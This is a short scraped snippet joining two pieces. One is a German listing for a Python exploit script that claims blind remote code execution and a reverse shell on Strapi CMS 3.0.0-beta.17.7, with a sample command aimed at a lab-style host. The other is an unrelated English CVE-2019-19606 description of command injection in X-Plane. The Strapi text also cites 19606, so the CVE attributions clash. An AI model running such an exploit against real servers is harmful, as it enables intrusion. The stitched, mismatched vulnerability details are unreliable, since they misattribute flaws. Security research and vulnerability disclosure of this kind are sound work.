strapi_cms_3.0.0-beta.17.7

Strapi CMS CVE-2019-18818 und 19606 Blinde Remote-Code-Ausführung von Strapi CMS Version 3.0.0-beta.17.7 und früher, um eine Reverse Shell zu erhalten Erste Schritte Programm ausführen Verwendung von python3 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p...

CVE-2019-19606

X-Plane prior to 11.41 contains an OS command injection due to multiple improper path validations. A crafted network packet could cause reading/writing files to arbitrary paths and potentially leak credentials, enabling execution of arbitrary commands. Affected: X-Plane 11.x